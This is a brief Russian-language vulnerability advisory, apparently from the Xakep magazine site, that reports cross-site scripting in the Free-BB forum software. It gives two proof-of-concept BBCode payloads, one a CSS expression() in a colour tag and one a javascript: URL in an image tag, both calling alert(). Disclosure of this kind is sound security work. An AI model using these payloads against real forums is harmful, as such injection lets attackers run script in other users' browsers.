Межсайтовый скриптинг в Free-BB

Рекомендуем почитать:

Xakep #286. Sad Guard

• Содержание выпуска
• Подписка на «Хакер»-60%

Программа: Free-BB 

Уязвимость обнаружена в Free-BB. Удаленный пользователь может выполнить XSS нападение. 

Пример: 

[couleur=expression(alert('unsecure'))]texte[/couleur]
[img]javascript:alert('unsecure')[/img]